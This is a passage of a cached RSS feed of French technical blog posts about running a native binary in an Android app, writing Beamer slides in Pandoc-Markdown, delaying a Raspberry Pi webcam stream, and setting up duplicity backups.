        return Runtime.getRuntime().exec(argv).waitFor() == 0;
    } catch (InterruptedException e) {
        throw new IOException(e);
    }
}

Exécuter le programme natif

Maintenant que le binaire est disponible sur le système de fichiers, il suffit de l’exécuter :

String[] command = { udpxyBin.getAbsolutePath(), "-p", "8379" };
udpxyProcess = Runtime.getRuntime().exec(command);

Le lecteur vidéo pourra alors utiliser l’URI proxifié comme source de données :

String src = UdpxyService.proxify("239.0.0.1:1234");

Projets

andudpxy

Je mets à disposition sous licence GPLv3 le projet library andudpxy, qui met en œuvre ce que j’ai expliqué ici :

git clone http://git.rom1v.com/andudpxy.git

(ou sur github)

Pour l’utiliser dans votre application, n’oubliez pas de référencer la library et de déclarer le service UdpxyService dans votre AndroidManifest.xml :

<service android:name="com.rom1v.andudpxy.UdpxyService" />

Pour démarrer le démon :

UdpxyService.startUdpxy(context);

et pour l’arrêter :

UdpxyService.stopUdpxy(context);

andudpxy-sample

J’ai également écrit une application minimale de lecture vidéo qui utilise cette library :

git clone http://git.rom1v.com/andudpxy-sample.git

(ou sur github)

C’est toujours utile d’avoir une application d’exemple censée fonctionner ;-)

L’adresse du flux UDP multicast à lire est écrite en dur dans MainActivity (et le flux doit fonctionner lors du démarrage de l’activité) :

private static final String ADDR = "239.0.0.1:1234";

Compilation

Après avoir cloné les 2 projets dans un même répertoire parent, renommez les local.properties.sample en local.properties, éditez-les pour indiquer le chemin du SDK et du NDK.

Ensuite, allez dans le répertoire andudpxy-sample, puis exécutez :

ant clean debug

Vous devriez obtenir bin/andudpxy-sample-debug.apk.

Bien sûr, vous pouvez aussi les importer dans Eclipse (ou un autre IDE) et les compiler selon vos habitudes.

Conclusion

Nous avons réussi à compiler et exécuter un binaire ARM sur Android, packagé dans une application.

Ceci peut être utile pour exécuter du code déjà implémenté nativement pour d’autres plates-formes, pour faire tourner un démon natif… Par exemple, le projet Serval (sur lequel j’ai un peu travaillé) utilise un démon servald, qui tourne également sur d’autres architectures.

Ce n’est cependant pas la seule manière d’exécuter du code natif dans une application : la plus courante est d’appeler des fonctions natives (et non un exécutable) directement à partir de Java, en utilisant JNI. L’une et l’autre répondent à des besoins différents.

";s:7:"dateiso";s:15:"20140318_233952";}s:15:"20140215_192914";a:7:{s:5:"title";s:29:"Des slides Beamer en Markdown";s:4:"link";s:60:"http://blog.rom1v.com/2014/02/des-slides-beamer-en-markdown/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4711";s:7:"pubDate";s:31:"Sat, 15 Feb 2014 18:29:14 +0000";s:11:"description";s:411:"Pour produire des slides propres pour une présentation, j’aime beaucoup Beamer (basé sur LaTeX). Mais la syntaxe est un peu lourde et la configuration est parfois inutilement compliquée (fonts, encodage, compilation multipasse…). Est-il possible d’avoir les avantages de Beamer sans ses inconvénients ? La réponse est oui, grâce à pandoc et son Markdown étendu. Beamer Voici […]";s:7:"content";s:6656:"

Pour produire des slides propres pour une présentation, j’aime beaucoup Beamer (basé sur LaTeX). Mais la syntaxe est un peu lourde et la configuration est parfois inutilement compliquée (fonts, encodage, compilation multipasse…).

Est-il possible d’avoir les avantages de Beamer sans ses inconvénients ? La réponse est oui, grâce à pandoc et son Markdown étendu.

Beamer

Voici le code d’un exemple très simple de présentation Beamer :

\documentclass[hyperref={pdfpagelabels=false}]{beamer}
\usepackage[utf8]{inputenc}
\usepackage{lmodern}

\title{Exemple}
\author{Romain Vimont}
\date{15 février 2014}

\begin{document}

\begin{frame}
\titlepage
\end{frame}

\section{Ma section}

\begin{frame}{Ma première frame}
\begin{itemize}
 \item c'est bien
 \item mais c'est verbeux
\end{itemize}
\end{frame}

\end{document}

Le code source est, il faut bien l’avouer, assez rebutant, et le rapport signal/bruit assez faible.

Une fois les paquets pdflatex, textlive-latex-base et latex-beamer installés (sous Debian), vous pouvez le compiler avec :

pdflatex fichier.tex

Markdown

Voici maintenant l’équivalent en Pandoc-Markdown :

% Exemple
% Romain Vimont
% 15 février 2014

# Ma section

## Ma première frame

 - c'est bien
 - et en plus ce n'est pas verbeux

Indiscutablement, c’est beaucoup plus lisible !

Avec le paquet pandoc (en plus des paquets latex déjà installés), vous pouvez le compiler avec :

pandoc -st beamer fichier.md -o fichier.pdf

Notez que le résultat n’est pas strictement identique, la version compilée avec pandoc ajoute une frame de section, mais il ne s’agit que d’une différence de template par défaut.

Démo

J’ai créé une présentation d’exemple avec un thème personnalisé.

Le résultat est disponible ici, mais c’est surtout la source (raw) qui est intéressante. Pour récupérer le projet et générer le pdf :

git clone http://git.rom1v.com/mdbeamer.git
cd mdbeamer
make

Il est également disponible sur github.

Ce projet a vocation à être utilisé comme base pour mes futures présentations (et les vôtres si vous le désirez). Chacune d’entre elles sera sur une branche git et sur un remote différents.

Injection de version

Pour pouvoir distinguer rapidement différentes versions d’une même présentation, j’ai également ajouté au Makefile une commande pour injecter un identifiant de version à côté de la date (donc à la fin de la 3e ligne du code source). Il s’agit du résultat de git describe (contenant le nom du dernier tag annoté) ou à défaut simplement le numéro de commit actuel.

Pour l’utiliser :

make withversion

Un format pivot

J’utilise ici le Pandoc-Markdown pour écrire du Beamer plus simplement.

Mais son intérêt est beaucoup plus général : il s’agit d’un véritable format pivot, compilable vers de nombreux formats.

Pour de la documentation par exemple, il suffit de l’écrire en Pandoc-Markdown et de la compiler, grâce à pandoc, en :

C’est d’ailleurs très pratique quand quelqu’un vous demande une documentation dans un format totalement inadapté (type docx), à rédiger de manière collaborative : il suffit alors d’utiliser Pandoc-Markdown, git et un Makefile.

Pour les slides, pandoc supporte, en plus de Beamer, la compilation vers des slides HTML :

Cette généricité a bien sûr des limites : l’utilisation de code spécifique à un format particulier (tel que j’en utilise dans mon exemple) empêche de le compiler correctement vers d’autres formats.

Conclusion

Le language Markdown (étendu par pandoc) permet de combiner la généricité, la simplicité et la gitabilité pour écrire des documents ou des slides, ce qui en fait un outil absolument indispensable.

";s:7:"dateiso";s:15:"20140215_192914";}s:15:"20140215_182914";a:7:{s:5:"title";s:29:"Des slides Beamer en Markdown";s:4:"link";s:60:"http://blog.rom1v.com/2014/02/des-slides-beamer-en-markdown/";s:4:"guid";s:59:"http://blog.rom1v.com/2014/02/des-slides-beamer-en-markdown";s:7:"pubDate";s:25:"2014-02-15T18:29:14+01:00";s:11:"description";s:0:"";s:7:"content";s:7463:"

Pour produire des slides propres pour une présentation, j’aime beaucoup Beamer (basé sur LaTeX). Mais la syntaxe est un peu lourde et la configuration est parfois inutilement compliquée (fonts, encodage, compilation multipasse…).

Est-il possible d’avoir les avantages de Beamer sans ses inconvénients ? La réponse est oui, grâce à pandoc et son Markdown étendu.

Beamer

Voici le code d’un exemple très simple de présentation Beamer :

\documentclass[hyperref={pdfpagelabels=false}]{beamer}
\usepackage[utf8]{inputenc}
\usepackage{lmodern}

\title{Exemple}
\author{Romain Vimont}
\date{15 février 2014}

\begin{document}

\begin{frame}
\titlepage
\end{frame}

\section{Ma section}

\begin{frame}{Ma première frame}
\begin{itemize}
 \item c'est bien
 \item mais c'est verbeux
\end{itemize}
\end{frame}

\end{document}

Le code source est, il faut bien l’avouer, assez rebutant, et le rapport signal/bruit assez faible.

Une fois les paquets pdflatex, textlive-latex-base et latex-beamer installés (sous Debian), vous pouvez le compiler avec :

pdflatex fichier.tex

Markdown

Voici maintenant l’équivalent en Pandoc-Markdown :

% Exemple
% Romain Vimont
% 15 février 2014

# Ma section

## Ma première frame

 - c'est bien
 - et en plus ce n'est pas verbeux

Indiscutablement, c’est beaucoup plus lisible !

Avec le paquet pandoc (en plus des paquets latex déjà installés), vous pouvez le compiler avec :

pandoc -st beamer fichier.md -o fichier.pdf

Notez que le résultat n’est pas strictement identique, la version compilée avec pandoc ajoute une frame de section, mais il ne s’agit que d’une différence de template par défaut.

Démo

J’ai créé une présentation d’exemple avec un thème personnalisé.

beamer

Le résultat est disponible ici, mais c’est surtout la source (raw) qui est intéressante. Pour récupérer le projet et générer le pdf :

git clone http://git.rom1v.com/mdbeamer.git
cd mdbeamer
make

Il est également disponible sur github.

Ce projet a vocation à être utilisé comme base pour mes futures présentations (et les vôtres si vous le désirez). Chacune d’entre elles sera sur une branche git et sur un remote différents.

Injection de version

Pour pouvoir distinguer rapidement différentes versions d’une même présentation, j’ai également ajouté au Makefile une commande pour injecter un identifiant de version à côté de la date (donc à la fin de la 3e ligne du code source). Il s’agit du résultat de git describe (contenant le nom du dernier tag annoté) ou à défaut simplement le numéro de commit actuel.

Pour l’utiliser :

make withversion

Un format pivot

J’utilise ici le Pandoc-Markdown pour écrire du Beamer plus simplement.

Mais son intérêt est beaucoup plus général : il s’agit d’un véritable format pivot, compilable vers de nombreux formats.

Pour de la documentation par exemple, il suffit de l’écrire en Pandoc-Markdown et de la compiler, grâce à pandoc, en :

C’est d’ailleurs très pratique quand quelqu’un vous demande une documentation dans un format totalement inadapté (type docx), à rédiger de manière collaborative : il suffit alors d’utiliser Pandoc-Markdown, git et un Makefile.

Pour les slides, pandoc supporte, en plus de Beamer, la compilation vers des slides HTML :

Cette généricité a bien sûr des limites : l’utilisation de code spécifique à un format particulier (tel que j’en utilise dans mon exemple) empêche de le compiler correctement vers d’autres formats.

Conclusion

Le language Markdown (étendu par pandoc) permet de combiner la généricité, la simplicité et la _git_abilité pour écrire des documents ou des slides, ce qui en fait un outil absolument indispensable.

";s:7:"dateiso";s:15:"20140215_182914";}s:15:"20140120_112040";a:7:{s:5:"title";s:50:"Lecture différée de la webcam d’un Rasberry Pi";s:4:"link";s:76:"http://blog.rom1v.com/2014/01/lecture-differee-de-la-webcam-dun-rasberry-pi/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4693";s:7:"pubDate";s:31:"Mon, 20 Jan 2014 10:20:40 +0000";s:11:"description";s:363:"L’objectif de ce billet est de parvenir à lire le flux provenant de la caméra d’un Raspberry Pi avec un décalage de quelques secondes (plutôt qu’en direct), avec les outils dédiés que sont raspivid et omxplayer. Contexte Là où je travaille, il y a un babyfoot. Nous avons récemment décidé de l’informatiser un peu pour […]";s:7:"content";s:12123:"

raspi

L’objectif de ce billet est de parvenir à lire le flux provenant de la caméra d’un Raspberry Pi avec un décalage de quelques secondes (plutôt qu’en direct), avec les outils dédiés que sont raspivid et omxplayer.

Contexte

Là où je travaille, il y a un babyfoot. Nous avons récemment décidé de l’informatiser un peu pour avoir la détection et le ralenti des buts. Entre autres, un Raspberry Pi a été installé avec sa caméra au-dessus du terrain de manière à fournir une vue aérienne.

raspivid permet d’afficher en direct ce que la caméra filme. Mais l’intérêt est faible dans notre cas : le direct, nous l’avons déjà sous les yeux.

Il est bien plus utile d’avoir un "direct" différé de quelques secondes : lors d’un but ou d’une action litigieuse, il suffit de tourner la tête pour revoir ce qu’il vient de se passer (à vitesse réelle).

Je me suis intéressé à faire fonctionner ce cas d’usage. Je vais détailler ici les principes et les problèmes rencontrés.

Un simple tube

La première idée fut de brancher le flux H.264 que produit raspivid sur l’entrée de omxplayer, qui serait démarré quelques secondes plus tard.

Premier problème, omxplayer ne semblait pas savoir lire sur son entrée standard. Ce n’est pas très gênant, il suffit d’utiliser un tube nommé grâce à mkfifo. En effet :

printf 'a\nb\nc\n' | grep b

peut être remplacé par :

# terminal 1
mkfifo /tmp/fifo
printf 'a\nb\nc\n' > /tmp/fifo
# terminal 2
< /tmp/fifo grep b

Mais en fait, il y a plus direct : omxplayer n’est qu’un script wrapper pour le vrai omxplayer.bin, c’est lui qui empêchait la lecture sur l’entrée standard. Il suffit juste d’exporter la variable qui-va-bien et d’appeler omxplayer.bin directement :

export LD_LIBRARY_PATH="/opt/vc/lib:/usr/lib/omxplayer"
omxplayer.bin 

Cependant, contrairement à ce que proposent beaucoup de commandes shell, omxplayer.bin ne prévoit pas explicitement de lire sur son entrée standard, il attend obligatoirement un fichier en paramètre. Donnons-lui donc comme fichier /dev/stdin !

raspivid -t 0 -w 1280 -h 720 -fps 25 -n -o - | omxplayer.bin /dev/stdin

Vu la durée de démarrage d’omxplayer.bin, pas besoin de retarder son lancement, la vidéo sera bien décalée de quelques secondes.

Le problème, c’est que le buffer lié au tube est très limité (man 7 pipe) : il sera très vite plein, bloquant totalement l’enregistrement et la lecture de la vidéo.

Avec un buffer

Nous avons besoin d’un buffer plus important. Pour cela, nous pouvons utiliser mbuffer, ici avec une taille de 10Mo :

raspivid  | mbuffer -m 10m | omxplayer.bin /dev/stdin

Et là, cela semble fonctionner.

Pour décaler un peu plus la lecture par omxplayer.bin, il est possible d’utiliser les commandes groupées (man bash) pour ajouter un appel à sleep avant le démarrage :

raspivid  | mbuffer -m 10m | { sleep 3; omxplayer.bin /dev/stdin; }

raspivid est censé enregistrer à 25 fps (-fps 25) et omxplayer nous indique dans la console qu’il lit à 25 fps.

Cependant, en réalité, le décalage n’est pas constant : il augmente petit à petit au fil des minutes, et le buffer se remplit légèrement plus vite qu’il ne se vide. La lecture consomme moins d’images que n’en produit l’enregistrement, comme si le débit d’images de l’enregistrement était supérieur à celui de lecture.

Il y a donc un manque d’exactitude (à ne pas confondre avec un manque de précision) dans le nombre d’images enregistrées et/ou lues par seconde.

Si nous tentons d’enregistrer à un débit légèrement inférieur (24 fps), c’est le contraire : le retard est rattrapé progressivement jusqu’à fournir une lecture en direct.

Comme le débit d’images est la seule information temporelle disponible et qu’elle est inexacte, il semble impossible de contrecarrer cette variation de délai.

Information temporelle

Mais en réalité, ce n’est pas la seule information temporelle dont nous disposons : nous savons que le flux est en direct.

Comment exploiter cette information ? Pour le comprendre, il suffit d’enregistrer à un débit d’images très faible (-fps 5) et de le lire toujours à 25 fps.

Si la lecture provient d’un fichier, alors la vidéo passe en accéléré. Par contre, si la lecture sort de la webcam en direct, alors la vidéo passe à vitesse normale mais à 5 fps : le lecteur a beau vouloir lire 25 images par seconde, s’il n’en reçoit que 5 chaque seconde, il n’a pas d’autre choix que de lire à 5 fps.

Ainsi, sans même connaître sa valeur réelle exacte, nous parvenons à obtenir le même débit d’images à l’enregistrement qu’à la lecture.

Mais comme nous l’avons vu, avec un débit d’images d’enregistrement inférieur, le délai introduit se réduira inexorablement (le retard sera rattrapé). Ce que nous voulons éviter : nous voulons un délai constant.

Delay

Nous avons cependant avancé, car maintenant, si nous disposions d’une commande qui retarde ce qui sort de raspivid pour le donner à omxplayer x secondes plus tard, et que nous enregistrons à un débit d’images légèrement inférieur à celui de la lecture, alors omxplayer rattrapera le retard pour parvenir au direct… décalé de x secondes. Exactement ce que nous voulons !

J’ai donc demandé sur stackoverflow si une telle commande existait, ce qui ne semblait pas être le cas.

Je l’ai donc implémentée (sous licence GPLv3) :

git clone http://git.rom1v.com/delay.git
cd delay
make && sudo make install

(ou sur github)

Elle permet de décaler tout ce qui arrive sur stdin d’un délai constant pour le sortir sur stdout :

delay [-b <dtbufsize>] <delay>

Elle est donc très générique, et n’a aucun lien avec le fait que le flux soit une vidéo.

Elle fonctionne aussi très bien pour différer la lecture de la webcam dans VLC sur un pc classique :

ffmpeg -an -s 320x240 -f video4linux2 -i /dev/video0 -f mpeg2video -b 1M - |
  delay 2s | vlc -

Nous pourrions penser qu’il suffit de faire la même chose avec raspivid et omxplayer, avec un débit d’images légèrement inférieur pour l’enregistrement (24 fps) :

raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
  delay -b10m 4s |
  omxplayer.bin /dev/stdin

Malheureusement, avec omxplayer, ce n’est pas si simple.

Initialisation immédiate

En effet, l’initialisation d’omxplayer pour une lecture vidéo est très longue (plusieurs secondes), et surtout, elle ne débute que lorsque une partie suffisamment importante de la vidéo à lire est reçue (les headers ne suffisent pas). Décaler la vidéo de x secondes décale également l’initialisation de x secondes, ajoutant d’autant plus de décalage.

Certes, le retard supplémentaire sera rattrapé progressivement, mais cela prendra du temps (environ 1 image chaque seconde, soit 1 seconde toutes les 25 secondes). Pour obtenir le délai désiré dès le départ, ce problème doit être évité.

Une solution de contournement consiste à passer les premiers (méga-)octets sortis de raspivid directement à omxplayer.bin, et de ne différer que le reste avec delay. De cette manière, les premières images seront lues immédiatement, permettant au lecteur de s’initialiser, alors que la suite sera différée.

Grâce aux commandes groupées de bash (encore elles), c’est très simple :

raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
  { head -c10M; delay -b10m 4s; } |
  omxplayer.bin /dev/stdin

La commande head va passer immédiatement les 10 premiers méga-octets à omxplayer.bin, puis la commande delay prendra le relai. Ainsi, l’initialisation aura déjà eu lieu quand les premiers octets sortiront de delay.

À part les premières secondes un peu chaotiques, le flux vidéo sera alors bien diffusé en différé avec un délai constant (testé sur 24 heures).

Conclusion

Nous avons donc bricolé une solution qui permet un replay différé en continu sur un Raspberry Pi.

";s:7:"dateiso";s:15:"20140120_112040";}s:15:"20140120_102040";a:7:{s:5:"title";s:49:"Lecture différée de la webcam d'un Raspberry Pi";s:4:"link";s:77:"http://blog.rom1v.com/2014/01/lecture-differee-de-la-webcam-dun-raspberry-pi/";s:4:"guid";s:76:"http://blog.rom1v.com/2014/01/lecture-differee-de-la-webcam-dun-raspberry-pi";s:7:"pubDate";s:25:"2014-01-20T10:20:40+01:00";s:11:"description";s:0:"";s:7:"content";s:11817:"

L’objectif de ce billet est de parvenir à lire le flux provenant de la caméra d’un Raspberry Pi avec un décalage de quelques secondes (plutôt qu’en direct), avec les outils dédiés que sont raspivid et omxplayer.

raspi

Contexte

Là où je travaille, il y a un babyfoot. Nous avons récemment décidé de l’informatiser un peu pour avoir la détection et le ralenti des buts. Entre autres, un Raspberry Pi a été installé avec sa caméra au-dessus du terrain de manière à fournir une vue aérienne.

raspivid permet d’afficher en direct ce que la caméra filme. Mais l’intérêt est faible dans notre cas : le direct, nous l’avons déjà sous les yeux.

Il est bien plus utile d’avoir un “direct” différé de quelques secondes : lors d’un but ou d’une action litigieuse, il suffit de tourner la tête pour revoir ce qu’il vient de se passer (à vitesse réelle).

Je me suis intéressé à faire fonctionner ce cas d’usage. Je vais détailler ici les principes et les problèmes rencontrés.

Un simple tube

La première idée fut de brancher le flux H.264 que produit raspivid sur l’entrée de omxplayer, qui serait démarré quelques secondes plus tard.

Premier problème, omxplayer ne semblait pas savoir lire sur son entrée standard. Ce n’est pas très gênant, il suffit d’utiliser un tube nommé grâce à mkfifo. En effet :

printf 'a\nb\nc\n' | grep b

peut être remplacé par :

# terminal 1
mkfifo /tmp/fifo
printf 'a\nb\nc\n' > /tmp/fifo

# terminal 2
< /tmp/fifo grep b

Mais en fait, il y a plus direct : omxplayer n’est qu’un script wrapper pour le vrai omxplayer.bin, c’est lui qui empêchait la lecture sur l’entrée standard. Il suffit juste d’exporter la variable qui-va-bien et d’appeler omxplayer.bin directement :

export LD_LIBRARY_PATH="/opt/vc/lib:/usr/lib/omxplayer"
omxplayer.bin …

Cependant, contrairement à ce que proposent beaucoup de commandes shell, omxplayer.bin ne prévoit pas explicitement de lire sur son entrée standard, il attend obligatoirement un fichier en paramètre. Donnons-lui donc comme fichier /dev/stdin !

raspivid -t 0 -w 1280 -h 720 -fps 25 -n -o - | omxplayer.bin /dev/stdin

Vu la durée de démarrage d’omxplayer.bin, pas besoin de retarder son lancement, la vidéo sera bien décalée de quelques secondes.

Le problème, c’est que le buffer lié au tube est très limité (man 7 pipe) : il sera très vite plein, bloquant totalement l’enregistrement et la lecture de la vidéo.

Avec un buffer

Nous avons besoin d’un buffer plus important. Pour cela, nous pouvons utiliser mbuffer, ici avec une taille de 10Mo :

raspivid … | mbuffer -m 10m | omxplayer.bin /dev/stdin

Et là, cela semble fonctionner.

Pour décaler un peu plus la lecture par omxplayer.bin, il est possible d’utiliser les commandes groupées (man bash) pour ajouter un appel à sleep avant le démarrage :

raspivid … | mbuffer -m 10m | { sleep 3; omxplayer.bin /dev/stdin; }

raspivid est censé enregistrer à 25 fps (-fps 25) et omxplayer nous indique dans la console qu’il lit à 25 fps.

Cependant, en réalité, le décalage n’est pas constant : il augmente petit à petit au fil des minutes, et le buffer se remplit légèrement plus vite qu’il ne se vide. La lecture consomme moins d’images que n’en produit l’enregistrement, comme si le débit d’images de l’enregistrement était supérieur à celui de lecture.

Il y a donc un manque d’exactitude (à ne pas confondre avec un manque de précision) dans le nombre d’images enregistrées et/ou lues par seconde.

accuracy_precision

Si nous tentons d’enregistrer à un débit légèrement inférieur (24 fps), c’est le contraire : le retard est rattrapé progressivement jusqu’à fournir une lecture en direct.

Comme le débit d’images est la seule information temporelle disponible et qu’elle est inexacte, il semble impossible de contrecarrer cette variation de délai.

Information temporelle

Mais en réalité, ce n’est pas la seule information temporelle dont nous disposons : nous savons que le flux est en direct.

Comment exploiter cette information ? Pour le comprendre, il suffit d’enregistrer à un débit d’images très faible (-fps 5) et de le lire toujours à 25 fps.

Si la lecture provient d’un fichier, alors la vidéo passe en accéléré. Par contre, si la lecture sort de la webcam en direct, alors la vidéo passe à vitesse normale mais à 5 fps : le lecteur a beau vouloir lire 25 images par seconde, s’il n’en reçoit que 5 chaque seconde, il n’a pas d’autre choix que de lire à 5 fps.

Ainsi, sans même connaître sa valeur réelle exacte, nous parvenons à obtenir le même débit d’images à l’enregistrement qu’à la lecture.

Mais comme nous l’avons vu, avec un débit d’images d’enregistrement inférieur, le délai introduit se réduira inexorablement (le retard sera rattrapé). Ce que nous voulons éviter : nous voulons un délai constant.

Delay

Nous avons cependant avancé, car maintenant, si nous disposions d’une commande qui retarde ce qui sort de raspivid pour le donner à omxplayer x secondes plus tard, et que nous enregistrons à un débit d’images légèrement inférieur à celui de la lecture, alors omxplayer rattrapera le retard pour parvenir au direct… décalé de x secondes. Exactement ce que nous voulons !

J’ai donc demandé sur stackoverflow si une telle commande existait, ce qui ne semblait pas être le cas.

Je l’ai donc implémentée (sous licence GPLv3) :

git clone http://git.rom1v.com/delay.git
cd delay
make && sudo make install

(ou sur github)

Elle permet de décaler tout ce qui arrive sur stdin d’un délai constant pour le sortir sur stdout :

delay [-b <dtbufsize>] <delay>

Elle est donc très générique, et n’a aucun lien avec le fait que le flux soit une vidéo.

Elle fonctionne aussi très bien pour différer la lecture de la webcam dans VLC sur un pc classique :

ffmpeg -an -s 320x240 -f video4linux2 -i /dev/video0 -f mpeg2video -b 1M - |
  delay 2s | vlc -

Nous pourrions penser qu’il suffit de faire la même chose avec raspivid et omxplayer, avec un débit d’images légèrement inférieur pour l’enregistrement (24 fps) :

raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
  delay -b10m 4s |
  omxplayer.bin /dev/stdin

Malheureusement, avec omxplayer, ce n’est pas si simple.

Initialisation immédiate

En effet, l’initialisation d’omxplayer pour une lecture vidéo est très longue (plusieurs secondes), et surtout, elle ne débute que lorsque une partie suffisamment importante de la vidéo à lire est reçue (les headers ne suffisent pas). Décaler la vidéo de x secondes décale également l’initialisation de x secondes, ajoutant d’autant plus de décalage.

Certes, le retard supplémentaire sera rattrapé progressivement, mais cela prendra du temps (environ 1 image chaque seconde, soit 1 seconde toutes les 25 secondes). Pour obtenir le délai désiré dès le départ, ce problème doit être évité.

Une solution de contournement consiste à passer les premiers (méga-)octets sortis de raspivid directement à omxplayer.bin, et de ne différer que le reste avec delay. De cette manière, les premières images seront lues immédiatement, permettant au lecteur de s’initialiser, alors que la suite sera différée.

Grâce aux commandes groupées de bash (encore elles), c’est très simple :

raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
  { head -c10M; delay -b10m 4s; } |
  omxplayer.bin /dev/stdin

La commande head va passer immédiatement les 10 premiers méga-octets à omxplayer.bin, puis la commande delay prendra le relai. Ainsi, l’initialisation aura déjà eu lieu quand les premiers octets sortiront de delay.

À part les premières secondes un peu chaotiques, le flux vidéo sera alors bien diffusé en différé avec un délai constant (testé sur 24 heures).

Conclusion

Nous avons donc bricolé une solution qui permet un replay différé en continu sur un Raspberry Pi.

";s:7:"dateiso";s:15:"20140120_102040";}s:15:"20130814_165942";a:7:{s:5:"title";s:47:"Duplicity : des backups incrémentaux chiffrés";s:4:"link";s:74:"http://blog.rom1v.com/2013/08/duplicity-des-backups-incrementaux-chiffres/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4623";s:7:"pubDate";s:31:"Wed, 14 Aug 2013 14:59:42 +0000";s:11:"description";s:381:"Quiconque s’auto-héberge doit maintenir un système de sauvegarde de son serveur, permettant de tout remettre en place dans le cas d’un crash de disque dur, d’un piratage ou d’un cambriolage. Objectifs Il est nécessaire de sauvegarder à la fois des fichiers (les mails, les services hébergés, les fichiers de config…) et le contenu de bases […]";s:7:"content";s:15780:"

backup

Quiconque s’auto-héberge doit maintenir un système de sauvegarde de son serveur, permettant de tout remettre en place dans le cas d’un crash de disque dur, d’un piratage ou d’un cambriolage.

Objectifs

Il est nécessaire de sauvegarder à la fois des fichiers (les mails, les services hébergés, les fichiers de config…) et le contenu de bases de données (associées aux services hébergés).

Le système de sauvegarde doit conserver les archives durant un certain temps (par exemple 2 mois). En effet, un piratage ou une erreur de manipulation peuvent n’être détectés que quelques jours plus tard : il est important de pouvoir restaurer un état antérieur.

La sauvegarde doit être régulière (par exemple quotidienne).

Seule une infime partie des données étant modifiées d’un jour à l’autre, la sauvegarde a tout intérêt à être incrémentale.

Pour résister aux cambriolages, une sauvegarde doit être réalisée sur (au moins) une machine distante. Il est donc préférable que ces données soient chiffrées.

Duplicity

Vous l’aurez compris, duplicity répond à tous ces besoins.

Je ne vais pas expliquer tout ce qu’il sait faire, mais plutôt comment je l’utilise et pourquoi.

Mes choix d’utilisation

Sauvegarde locale

Personnellement, je n’effectue qu’une sauvegarde locale dans une tâche cron, c’est-à-dire que les fichiers de backups sont stockés sur le serveur lui-même.

En effet, une sauvegarde automatique vers un serveur distant, par SSH par exemple, nécessiterait une clé privée en clair sur le serveur. Cette configuration ne résisterait pas à certains piratages : une intrusion sur le serveur donnerait également accès aux sauvegardes, permettant à un pirate d’effacer à la fois les données et les backups.

C’est donc une autre machine, à l’initiative de la connexion, qui rapatrie les backups. Évidemment, elle ne doit pas synchroniser localement les backups supprimés du serveur (elle serait vulnérable à la suppression des backups par un pirate), mais doit plutôt supprimer les anciennes sauvegardes de sa propre initiative.

Chiffrement

Duplicity utilise GPG pour le chiffrement, permettant :

Le premier choix nécessite à la fois quelque chose que je possède (la clé, de forte entropie) et quelque chose que je connais (la passphrase, de plus faible entropie). Le second ne nécessite que la passphrase à retenir.

L’utilisation d’une clé privée autorise donc une meilleure sécurité, notamment si vous souhaitez envoyer vos backups sur un serveur américain.

Néanmoins, les backups sont surtout utiles lors de la perte de données, notamment dans le cas d’un cambriolage, où la clé GPG a potentiellement également disparu. Et les sauvegardes distantes ne seront d’aucune utilité sans la clé…
Il peut donc être moins risqué d’opter, comme je l’ai fait, pour une simple passphrase.

À vous de placer le curseur entre la protection de vos données et le risque de ne plus pouvoir les récupérer.

Installation

Sur une Debian :

sudo apt-get install duplicity

Fonctionnement

Duplicity effectue des sauvegardes complètes et incrémentales. Les sauvegardes incrémentales nécessitent toutes les sauvegardes depuis la dernière complète pour être restaurées.
Personnellement, j’effectue une sauvegarde complète tous les mois, et une incrémentale tous les jours.

Pour choisir le mode :

Exemple (à exécuter en root pour avoir accès à tous les fichiers) :

duplicity / file:///var/backups/duplicity/ --include-globbing-filelist filelist.txt --exclude '**'

Duplicity va sauvegarder à partir de la racine ("/") tous les fichiers selon les règles d’inclusion et d’exclusion définies dans filelist.txt. Ce fichier contient simplement la liste des fichiers et répertoires à sauvegarder, ainsi que ceux à exclure. Par exemple :

/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/

Attention : les fichiers et répertoires à exclure doivent apparaître avant l’inclusion d’un répertoire parent. En effet, duplicity s’arrête à la première règle qui matche un chemin donné pour déterminer s’il doit l’inclure ou l’exclure.

Pour restaurer :

duplicity restore file:///var/backups/duplicity/ /any/directory/

(utiliser l’option -t pour restaurer à une date particulière)

Pour supprimer les anciennes sauvegardes (ici de plus de 2 mois) :

duplicity remove-older-than 2M file:///var/backups/duplicity/ --force

Bases de données

Tout comme pour les fichiers, il est préférable de sauvegarder incrémentalement les bases de données (seule une toute petite partie des données change d’un jour à l’autre).

Une première solution serait d’utiliser la fonctionnalité-qui-va-bien de votre SGBD.

Mais si le contenu de vos bases de données ne dépasse pas quelques Go (ce qui est très probable pour de l’auto-hébergement), duplicity permet de faire beaucoup plus simple.

Il suffit en effet de générer un dump complet des bases de données vers des fichiers .sql et d’inclure leur chemin dans la liste des fichiers à sauvegarder. Et là, c’est magique, duplicity va ne sauvegarder que les parties de ces (gros) fichiers qui ont changées, grâce à rsync et à son algorithme qui utilise des rolling checksums.

Bien sûr, il ne faut pas compresser ces fichiers avant de les donner à manger à duplicity (sinon l’intégralité du fichier risque de changer) ; c’est lui qui va s’en charger. De même, il vaut mieux éviter d’inclure dans les fichies SQL des informations liées au dump, comme sa date de génération.

Pour exporter une base de données MySQL par exemple :

mysql -uroot -ppassword --skip-comments -ql my_database > my_database.sql

Script

Il reste donc à écrire un script qui exporte les bases de données et qui appelle duplicity avec la liste de ce qu’il y a à sauvegarder.

Voici un prototype, à sauvegarder dans /usr/local/bin/backup :

#!/bin/bash
BACKUP_HOME=/var/backups
TMP_DBDIR="$BACKUP_HOME/dbdump"
BACKUP_DIR="$BACKUP_HOME/duplicity"
MYSQLPW=mon_password_mysql
PASSPHRASE=ma_passphrase_de_chiffrement_des_backups
DATABASES='blog autre_base'
FILELIST="/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/
$TMP_DBDIR/"

# databases
mkdir -p "$TMP_DBDIR"
for dbname in $DATABASES
do
  printf "## Dump database $dbname...\n"
  mysqldump -uroot -p"$MYSQLPW" --skip-comments -ql "$dbname" \
    > "$TMP_DBDIR/$dbname.sql"
done

